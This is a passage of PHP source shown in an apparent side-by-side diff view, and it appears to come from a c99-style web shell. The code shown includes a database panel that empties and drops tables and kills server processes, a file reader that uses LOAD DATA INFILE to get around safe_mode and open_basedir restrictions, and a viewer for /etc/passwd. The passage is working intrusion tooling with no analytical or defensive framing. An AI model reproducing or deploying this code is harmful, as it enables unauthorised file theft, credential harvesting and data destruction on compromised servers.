| 2633 | echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; | 2633 | echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; |
| 2634 | 2634 | ||
| 2635 | echo "<option value=\"\">With selected:</option>"; | 2635 | echo "<option value=\"\">With selected:</option>"; |
| 2636 | 2636 | ||
| 2637 | echo "<option value=\"deleterow\">Delete</option>"; | 2637 | echo "<option value=\"deleterow\">Delete</option>"; |
| 2638 | 2638 | ||
| 2639 | echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>"; | 2639 | echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>"; |
| 2640 | 2640 | ||
| 2641 | } | 2641 | } |
| 2642 | 2642 | ||
| 2643 | } | 2643 | } |
| 2644 | 2644 | ||
| 2645 | else | 2645 | else |
| 2646 | 2646 | ||
| 2647 | { | 2647 | { |
| 2648 | 2648 | ||
| 2649 | $result = mysql_query("SHOW TABLE STATUS", $sql_sock); | 2649 | $result = mysql_query("SHOW TABLE STATUS", $sql_sock); |
| 2650 | 2650 | ||
| 2651 | if (!$result) {echo mysql_smarterror();} | 2651 | if (!$result) {echo mysql_smarterror();} |
| 2652 | 2652 | ||
| 2653 | else | 2653 | else |
| 2654 | 2654 | ||
| 2655 | { | 2655 | { |
| 2656 | 2656 | ||
| 2657 | echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#15354c borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>"; | 2657 | echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#15354c borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>"; |
| 2658 | 2658 | ||
| 2659 | 2659 | ||
| 2660 | 2660 | ||
| 2661 | $i = 0; | 2661 | $i = 0; |
| 2662 | 2662 | ||
| 2663 | $tsize = $trows = 0; | 2663 | $tsize = $trows = 0; |
| 2664 | 2664 | ||
| 2665 | while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) | 2665 | while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) |
| 2666 | 2666 | ||
| 2667 | { | 2667 | { |
| 2668 | 2668 | ||
| 2669 | $tsize += $row["Data_length"]; | 2669 | $tsize += $row["Data_length"]; |
| 2670 | 2670 | ||
| 2671 | $trows += $row["Rows"]; | 2671 | $trows += $row["Rows"]; |
| 2672 | 2672 | ||
| 2673 | $size = view_size($row["Data_length"]); | 2673 | $size = view_size($row["Data_length"]); |
| 2674 | 2674 | ||
| 2675 | echo "<tr>"; | 2675 | echo "<tr>"; |
| 2676 | 2676 | ||
| 2677 | echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>"; | 2677 | echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>"; |
| 2678 | 2678 | ||
| 2679 | echo "<td> <a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a> </td>"; | 2679 | echo "<td> <a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a> </td>"; |
| 2680 | 2680 | ||
| 2681 | echo "<td>".$row["Rows"]."</td>"; | 2681 | echo "<td>".$row["Rows"]."</td>"; |
| 2682 | 2682 | ||
| 2683 | echo "<td>".$row["Type"]."</td>"; | 2683 | echo "<td>".$row["Type"]."</td>"; |
| 2684 | 2684 | ||
| 2685 | echo "<td>".$row["Create_time"]."</td>"; | 2685 | echo "<td>".$row["Create_time"]."</td>"; |
| 2686 | 2686 | ||
| 2687 | echo "<td>".$row["Update_time"]."</td>"; | 2687 | echo "<td>".$row["Update_time"]."</td>"; |
| 2688 | 2688 | ||
| 2689 | echo "<td>".$size."</td>"; | 2689 | echo "<td>".$size."</td>"; |
| 2690 | 2690 | ||
| 2691 | echo "<td> <a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a> </td>"; | 2691 | echo "<td> <a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a> </td>"; |
| 2692 | 2692 | ||
| 2693 | echo "</tr>"; | 2693 | echo "</tr>"; |
| 2694 | 2694 | ||
| 2695 | $i++; | 2695 | $i++; |
| 2696 | 2696 | ||
| 2697 | } | 2697 | } |
| 2698 | 2698 | ||
| 2699 | echo "<tr bgcolor=\"000000\">"; | 2699 | echo "<tr bgcolor=\"000000\">"; |
| 2700 | 2700 | ||
| 2701 | echo "<td><center><b>»</b></center></td>"; | 2701 | echo "<td><center><b>»</b></center></td>"; |
| 2702 | 2702 | ||
| 2703 | echo "<td><center><b>".$i." table(s)</b></center></td>"; | 2703 | echo "<td><center><b>".$i." table(s)</b></center></td>"; |
| 2704 | 2704 | ||
| 2705 | echo "<td><b>".$trows."</b></td>"; | 2705 | echo "<td><b>".$trows."</b></td>"; |
| 2706 | 2706 | ||
| 2707 | echo "<td>".$row[1]."</td>"; | 2707 | echo "<td>".$row[1]."</td>"; |
| 2708 | 2708 | ||
| 2709 | echo "<td>".$row[10]."</td>"; | 2709 | echo "<td>".$row[10]."</td>"; |
| 2710 | 2710 | ||
| 2711 | echo "<td>".$row[11]."</td>"; | 2711 | echo "<td>".$row[11]."</td>"; |
| 2712 | 2712 | ||
| 2713 | echo "<td><b>".view_size($tsize)."</b></td>"; | 2713 | echo "<td><b>".view_size($tsize)."</b></td>"; |
| 2714 | 2714 | ||
| 2715 | echo "<td></td>"; | 2715 | echo "<td></td>"; |
| 2716 | 2716 | ||
| 2717 | echo "</tr>"; | 2717 | echo "</tr>"; |
| 2718 | 2718 | ||
| 2719 | echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; | 2719 | echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; |
| 2720 | 2720 | ||
| 2721 | echo "<option value=\"\">With selected:</option>"; | 2721 | echo "<option value=\"\">With selected:</option>"; |
| 2722 | 2722 | ||
| 2723 | echo "<option value=\"tbldrop\">Drop</option>"; | 2723 | echo "<option value=\"tbldrop\">Drop</option>"; |
| 2724 | 2724 | ||
| 2725 | echo "<option value=\"tblempty\">Empty</option>"; | 2725 | echo "<option value=\"tblempty\">Empty</option>"; |
| 2726 | 2726 | ||
| 2727 | echo "<option value=\"tbldump\">Dump</option>"; | 2727 | echo "<option value=\"tbldump\">Dump</option>"; |
| 2728 | 2728 | ||
| 2729 | echo "<option value=\"tblcheck\">Check table</option>"; | 2729 | echo "<option value=\"tblcheck\">Check table</option>"; |
| 2730 | 2730 | ||
| 2731 | echo "<option value=\"tbloptimize\">Optimize table</option>"; | 2731 | echo "<option value=\"tbloptimize\">Optimize table</option>"; |
| 2732 | 2732 | ||
| 2733 | echo "<option value=\"tblrepair\">Repair table</option>"; | 2733 | echo "<option value=\"tblrepair\">Repair table</option>"; |
| 2734 | 2734 | ||
| 2735 | echo "<option value=\"tblanalyze\">Analyze table</option>"; | 2735 | echo "<option value=\"tblanalyze\">Analyze table</option>"; |
| 2736 | 2736 | ||
| 2737 | echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>"; | 2737 | echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>"; |
| 2738 | 2738 | ||
| 2739 | mysql_free_result($result); | 2739 | mysql_free_result($result); |
| 2740 | 2740 | ||
| 2741 | } | 2741 | } |
| 2742 | 2742 | ||
| 2743 | } | 2743 | } |
| 2744 | 2744 | ||
| 2745 | } | 2745 | } |
| 2746 | 2746 | ||
| 2747 | } | 2747 | } |
| 2748 | 2748 | ||
| 2749 | } | 2749 | } |
| 2750 | 2750 | ||
| 2751 | else | 2751 | else |
| 2752 | 2752 | ||
| 2753 | { | 2753 | { |
| 2754 | 2754 | ||
| 2755 | $acts = array("","newdb","serverstatus","servervars","processes","getfile"); | 2755 | $acts = array("","newdb","serverstatus","servervars","processes","getfile"); |
| 2756 | 2756 | ||
| 2757 | if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20"> <input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>"> <input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php } | 2757 | if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20"> <input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>"> <input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php } |
| 2758 | 2758 | ||
| 2759 | if (!empty($sql_act)) | 2759 | if (!empty($sql_act)) |
| 2760 | 2760 | ||
| 2761 | { | 2761 | { |
| 2762 | 2762 | ||
| 2763 | echo "<hr size=\"1\" noshade>"; | 2763 | echo "<hr size=\"1\" noshade>"; |
| 2764 | 2764 | ||
| 2765 | if ($sql_act == "newdb") | 2765 | if ($sql_act == "newdb") |
| 2766 | 2766 | ||
| 2767 | { | 2767 | { |
| 2768 | 2768 | ||
| 2769 | echo "<b>"; | 2769 | echo "<b>"; |
| 2770 | 2770 | ||
| 2771 | if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} | 2771 | if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} |
| 2772 | 2772 | ||
| 2773 | else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} | 2773 | else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} |
| 2774 | 2774 | ||
| 2775 | } | 2775 | } |
| 2776 | 2776 | ||
| 2777 | if ($sql_act == "serverstatus") | 2777 | if ($sql_act == "serverstatus") |
| 2778 | 2778 | ||
| 2779 | { | 2779 | { |
| 2780 | 2780 | ||
| 2781 | $result = mysql_query("SHOW STATUS", $sql_sock); | 2781 | $result = mysql_query("SHOW STATUS", $sql_sock); |
| 2782 | 2782 | ||
| 2783 | echo "<center><b>Server-status variables:</b><br><br>"; | 2783 | echo "<center><b>Server-status variables:</b><br><br>"; |
| 2784 | 2784 | ||
| 2785 | echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#15354c borderColorLight=#15354c border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; | 2785 | echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#15354c borderColorLight=#15354c border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; |
| 2786 | 2786 | ||
| 2787 | while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} | 2787 | while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} |
| 2788 | 2788 | ||
| 2789 | echo "</table></center>"; | 2789 | echo "</table></center>"; |
| 2790 | 2790 | ||
| 2791 | mysql_free_result($result); | 2791 | mysql_free_result($result); |
| 2792 | 2792 | ||
| 2793 | } | 2793 | } |
| 2794 | 2794 | ||
| 2795 | if ($sql_act == "servervars") | 2795 | if ($sql_act == "servervars") |
| 2796 | 2796 | ||
| 2797 | { | 2797 | { |
| 2798 | 2798 | ||
| 2799 | $result = mysql_query("SHOW VARIABLES", $sql_sock); | 2799 | $result = mysql_query("SHOW VARIABLES", $sql_sock); |
| 2800 | 2800 | ||
| 2801 | echo "<center><b>Server variables:</b><br><br>"; | 2801 | echo "<center><b>Server variables:</b><br><br>"; |
| 2802 | 2802 | ||
| 2803 | echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#15354c borderColorLight=#15354c border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; | 2803 | echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#15354c borderColorLight=#15354c border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; |
| 2804 | 2804 | ||
| 2805 | while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} | 2805 | while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} |
| 2806 | 2806 | ||
| 2807 | echo "</table>"; | 2807 | echo "</table>"; |
| 2808 | 2808 | ||
| 2809 | mysql_free_result($result); | 2809 | mysql_free_result($result); |
| 2810 | 2810 | ||
| 2811 | } | 2811 | } |
| 2812 | 2812 | ||
| 2813 | if ($sql_act == "processes") | 2813 | if ($sql_act == "processes") |
| 2814 | 2814 | ||
| 2815 | { | 2815 | { |
| 2816 | 2816 | ||
| 2817 | if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";} | 2817 | if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";} |
| 2818 | 2818 | ||
| 2819 | $result = mysql_query("SHOW PROCESSLIST", $sql_sock); | 2819 | $result = mysql_query("SHOW PROCESSLIST", $sql_sock); |
| 2820 | 2820 | ||
| 2821 | echo "<center><b>Processes:</b><br><br>"; | 2821 | echo "<center><b>Processes:</b><br><br>"; |
| 2822 | 2822 | ||
| 2823 | echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#15354c borderColorLight=#15354c border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; | 2823 | echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#15354c borderColorLight=#15354c border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; |
| 2824 | 2824 | ||
| 2825 | while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} | 2825 | while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} |
| 2826 | 2826 | ||
| 2827 | echo "</table>"; | 2827 | echo "</table>"; |
| 2828 | 2828 | ||
| 2829 | mysql_free_result($result); | 2829 | mysql_free_result($result); |
| 2830 | 2830 | ||
| 2831 | } | 2831 | } |
| 2832 | 2832 | ||
| 2833 | if ($sql_act == "getfile") | 2833 | if ($sql_act == "getfile") |
| 2834 | 2834 | ||
| 2835 | { | 2835 | { |
| 2836 | 2836 | ||
| 2837 | $tmpdb = $sql_login."_tmpdb"; | 2837 | $tmpdb = $sql_login."_tmpdb"; |
| 2838 | 2838 | ||
| 2839 | $select = mysql_select_db($tmpdb); | 2839 | $select = mysql_select_db($tmpdb); |
| 2840 | 2840 | ||
| 2841 | if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} | 2841 | if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} |
| 2842 | 2842 | ||
| 2843 | if ($select) | 2843 | if ($select) |
| 2844 | 2844 | ||
| 2845 | { | 2845 | { |
| 2846 | 2846 | ||
| 2847 | $created = FALSE; | 2847 | $created = FALSE; |
| 2848 | 2848 | ||
| 2849 | mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); | 2849 | mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); |
| 2850 | 2850 | ||
| 2851 | mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); | 2851 | mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); |
| 2852 | 2852 | ||
| 2853 | $result = mysql_query("SELECT * FROM tmp_file;"); | 2853 | $result = mysql_query("SELECT * FROM tmp_file;"); |
| 2854 | 2854 | ||
| 2855 | if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";} | 2855 | if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";} |
| 2856 | 2856 | ||
| 2857 | else | 2857 | else |
| 2858 | 2858 | ||
| 2859 | { | 2859 | { |
| 2860 | 2860 | ||
| 2861 | for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} | 2861 | for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} |
| 2862 | 2862 | ||
| 2863 | $f = ""; | 2863 | $f = ""; |
| 2864 | 2864 | ||
| 2865 | while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);} | 2865 | while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);} |
| 2866 | 2866 | ||
| 2867 | if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";} | 2867 | if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";} |
| 2868 | 2868 | ||
| 2869 | else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} | 2869 | else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} |
| 2870 | 2870 | ||
| 2871 | mysql_free_result($result); | 2871 | mysql_free_result($result); |
| 2872 | 2872 | ||
| 2873 | mysql_query("DROP TABLE tmp_file;"); | 2873 | mysql_query("DROP TABLE tmp_file;"); |
| 2874 | 2874 | ||
| 2875 | } | 2875 | } |
| 2876 | 2876 | ||
| 2877 | } | 2877 | } |
| 2878 | 2878 | ||
| 2879 | mysql_drop_db($tmpdb); //comment it if you want to leave database | 2879 | mysql_drop_db($tmpdb); //comment it if you want to leave database |
| 2880 | 2880 | ||
| 2881 | } | 2881 | } |
| 2882 | 2882 | ||
| 2883 | } | 2883 | } |
| 2884 | 2884 | ||
| 2885 | } | 2885 | } |
| 2886 | 2886 | ||
| 2887 | } | 2887 | } |
| 2888 | 2888 | ||
| 2889 | echo "</td></tr></table>"; | 2889 | echo "</td></tr></table>"; |
| 2890 | 2890 | ||
| 2891 | if ($sql_sock) | 2891 | if ($sql_sock) |
| 2892 | 2892 | ||
| 2893 | { | 2893 | { |
| 2894 | 2894 | ||
| 2895 | $affected = @mysql_affected_rows($sql_sock); | 2895 | $affected = @mysql_affected_rows($sql_sock); |
| 2896 | 2896 | ||
| 2897 | if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} | 2897 | if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} |
| 2898 | 2898 | ||
| 2899 | echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>"; | 2899 | echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>"; |
| 2900 | 2900 | ||
| 2901 | } | 2901 | } |
| 2902 | 2902 | ||
| 2903 | echo "</table>"; | 2903 | echo "</table>"; |
| 2904 | 2904 | ||
| 2905 | } | 2905 | } |
| 2906 | 2906 | ||
| 2907 | if ($act == "mkdir") | 2907 | if ($act == "mkdir") |
| 2908 | { | 2908 | { |
| 2909 | 2909 | ||
| 2910 | if ($mkdir != $d) | 2910 | if ($mkdir != $d) |
| 2911 | { | 2911 | { |
| 2912 | 2912 | ||
| 2913 | if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";} | 2913 | if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";} |
| 2914 | 2914 | ||
| 2915 | elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";} | 2915 | elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";} |
| 2916 | 2916 | ||
| 2917 | echo "<br><br>"; | 2917 | echo "<br><br>"; |
| 2918 | 2918 | ||
| 2919 | } | 2919 | } |
| 2920 | 2920 | ||
| 2921 | $act = $dspact = "ls"; | 2921 | $act = $dspact = "ls"; |
| 2922 | 2922 | ||
| 2923 | } | 2923 | } |
| 2924 | 2924 | ||
| 2925 | if ($act == "d") | 2925 | if ($act == "d") |
| 2926 | 2926 | ||
| 2927 | { | 2927 | { |
| 2928 | 2928 | ||
| 2929 | if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";} | 2929 | if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";} |
| 2930 | 2930 | ||
| 2931 | else | 2931 | else |
| 2932 | 2932 | ||
| 2933 | { | 2933 | { |
| 2934 | 2934 | ||
| 2935 | echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>"; | 2935 | echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>"; |
| 2936 | 2936 | ||
| 2937 | if (!$win) | 2937 | if (!$win) |
| 2938 | 2938 | ||
| 2939 | { | 2939 | { |
| 2940 | 2940 | ||
| 2941 | echo "<tr><td><b>Owner/Group</b></td><td> "; | 2941 | echo "<tr><td><b>Owner/Group</b></td><td> "; |
| 2942 | 2942 | ||
| 2943 | $ow = posix_getpwuid(fileowner($d)); | 2943 | $ow = posix_getpwuid(fileowner($d)); |
| 2944 | 2944 | ||
| 2945 | $gr = posix_getgrgid(filegroup($d)); | 2945 | $gr = posix_getgrgid(filegroup($d)); |
| 2946 | 2946 | ||
| 2947 | $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); | 2947 | $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); |
| 2948 | 2948 | ||
| 2949 | } | 2949 | } |
| 2950 | 2950 | ||
| 2951 | echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>"; | 2951 | echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>"; |
| 2952 | 2952 | ||
| 2953 | } | 2953 | } |
| 2954 | 2954 | ||
| 2955 | } | 2955 | } |
| 2956 | 2956 | ||
| 2957 | 2957 | ||
| 2958 | if ($act == "security") | 2958 | if ($act == "security") |
| 2959 | { | 2959 | { |
| 2960 | 2960 | ||
| 2961 | echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>"; | 2961 | echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>"; |
| 2962 | 2962 | ||
| 2963 | if (!$win) | 2963 | if (!$win) |
| 2964 | 2964 | ||
| 2965 | { | 2965 | { |
| 2966 | 2966 | ||
| 2967 | if ($nixpasswd) | 2967 | if ($nixpasswd) |
| 2968 | 2968 | ||
| 2969 | { | 2969 | { |
| 2970 | 2970 | ||
| 2971 | if ($nixpasswd == 1) {$nixpasswd = 0;} | 2971 | if ($nixpasswd == 1) {$nixpasswd = 0;} |
| 2972 | 2972 | ||
| 2973 | echo "<b>*nix /etc/passwd:</b><br>"; | 2973 | echo "<b>*nix /etc/passwd:</b><br>"; |
| 2974 | 2974 | ||
| 2975 | if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} | 2975 | if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} |
| 2976 | 2976 | ||
| 2977 | if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} | 2977 | if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} |
| 2978 | 2978 | ||
| 2979 | echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b> <input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\"> <b>To:</b> <input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\"> <input type=submit value=\"View\"></form><br>"; | 2979 | echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b> <input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\"> <b>To:</b> <input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\"> <input type=submit value=\"View\"></form><br>"; |
| 2980 | 2980 | ||
